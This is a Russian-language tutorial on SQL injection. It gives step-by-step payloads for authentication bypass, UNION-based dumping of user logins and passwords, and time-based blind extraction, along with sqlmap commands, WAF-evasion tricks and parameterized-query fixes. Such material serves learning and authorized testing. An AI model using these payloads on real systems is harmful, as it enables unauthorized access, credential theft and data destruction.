Слушай, если ты ещё не знаешь, что такое SQLi — срочно читай. Это самая классическая, самая жирная, самая «да как они до сих пор не закрыли это» уязвимость в мире веба. OWASP Top 10, место A03:2021 — как постоянный жилец коммуналки.
Что это за зверь
SQL-инъекция (SQLi) — это когда ты суёшь свой вредоносный SQL-код туда, где приложение ждёт обычный текст, и база данных послушно его выполняет. Форма входа, строка поиска, параметры URL, заголовки, куки — всё это точки входа.
Вот как выглядит уязвимый запрос изнутри:
|
1 |
SELECT * FROM users WHERE username = '$input' AND password = '$pass' |
А ты вводишь в поле логина: ' OR '1'='1' --
И получаешь:
|
1 |
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = 'anything' |
1=1 — всегда TRUE, пароль закомментирован, ты — администратор. Добро пожаловать.
Типы инъекций — арсенал
| Тип | Как работает | Когда использовать |
|---|---|---|
| Error-based | Ошибка БД сливает структуру | Когда сервер болтливый |
| Union-based | UNION SELECT тянет данные из других таблиц |
Когда есть вывод на страницу |
| Boolean-based Blind | Сравниваем TRUE/FALSE по реакции сервера | Когда вывода нет, но есть разница в ответах |
| Time-based Blind | SLEEP(5) — измеряем задержку |
Когда вообще ничего не видно |
| Out-of-band | DNS/HTTP пинг на внешний сервер | Экзотика, но бывает |
| Second-order | Payload сохраняется в БД, срабатывает позже | Когда первый проход «чистый» |
За 10 минут: пошаговый разбор 💣
Шаг 1 — Разведка (2 мин)
Ищем точки входа: GET/POST параметры, заголовки, куки. Burp Suite в руки, intercept ON, и смотрим на всё, что летит на сервер.
|
1 2 3 |
https://target.com/product?id=1 https://target.com/search?q=shoes https://target.com/user?name=admin |
Шаг 2 — Первый тычок (1 мин)
Суём кавычку и смотрим на реакцию:
|
1 2 3 |
?id=1' ?id=1" ?id=1` |
Если сервер упал с syntax error или вернул пустую страницу — бинго, уязвимость есть. Это как первый ping в темноту — и он ответил.
Шаг 3 — Определяем количество столбцов (2 мин)
|
1 2 3 |
?id=1 ORDER BY 1-- ?id=1 ORDER BY 2-- ?id=1 ORDER BY 3-- ← упало? Значит столбцов 2 |
Шаг 4 — Union-based дамп (3 мин)
|
1 |
?id=1 UNION SELECT null, table_name, null FROM information_schema.tables-- |
Список таблиц у тебя в кармане. Дальше — вытаскиваем колонки:
|
1 |
?id=1 UNION SELECT null, column_name, null FROM information_schema.columns WHERE table_name='users'-- |
И финал:
|
1 |
?id=1 UNION SELECT null, login, password FROM users-- |
Шаг 5 — Автоматизация (2 мин)
Если лень — sqlmap сделает всё за тебя:
|
1 |
sqlmap -u "https://target.com/product?id=1" --dbs --batch --level=3 |
--dbs — дампаем базы, --batch — без вопросов, --level=3 — агрессивнее тестим.
Слепая инъекция — когда ничего не видно 🕵️
Если сервер молчит — переходим на time-based. Вот классика:
|
1 2 3 |
?id=1 AND SLEEP(5)-- -- MySQL ?id=1; WAITFOR DELAY '0:0:5'-- -- MSSQL ?id=1 AND pg_sleep(5)-- -- PostgreSQL |
Задержка 5 секунд = уязвимость подтверждена. А дальше по одному символу восстанавливаем данные:
|
1 |
?id=1 AND SUBSTRING((SELECT login FROM users LIMIT 1), 1, 1) = 'a' |
Долго? Да. Но
sqlmap --technique=T это автоматизирует.
Что можно сломать через SQLi
Список последствий — не для слабонервных админов:
-
🗃️ Кража всей базы данных: логины, пароли, карты, персональные данные
-
🔑 Обход авторизации и заход под любым юзером
-
🗑️
DROP TABLE users— классика жанра -
💀 DoS через тяжёлые запросы
-
🖥️ RCE через
xp_cmdshell(MSSQL) илиINTO OUTFILE(MySQL) — да, прямо до шелла
Защита — или «почему параметризация это любовь»
Единственный правильный ответ — параметризованные запросы. Всё остальное — костыли.
|
1 2 3 4 5 6 |
# Python — правильно execute("SELECT * FROM users WHERE login = %s", (username,)) # PHP — правильно $stmt = $pdo->prepare("SELECT * FROM users WHERE login = :login"); $stmt->execute(['login' => $username]); |
Плюс WAF не помешает — но помни: WAF это не стена, а приглашение к обфускации. Умный атакующий обойдёт его через /*!UNION*/, hex-кодирование или %0a между ключевыми словами.
Если нашёл SQLi в проде — молчи, пиши репорт, клади в карман bounty. А не молчишь — иди объяснять следователю, почему ты «просто тестировал». Всё, что описано выше — только для CTF, авторизованных пентестов и своих лабораторных стендов. Удачи в терминале! 🔍💣



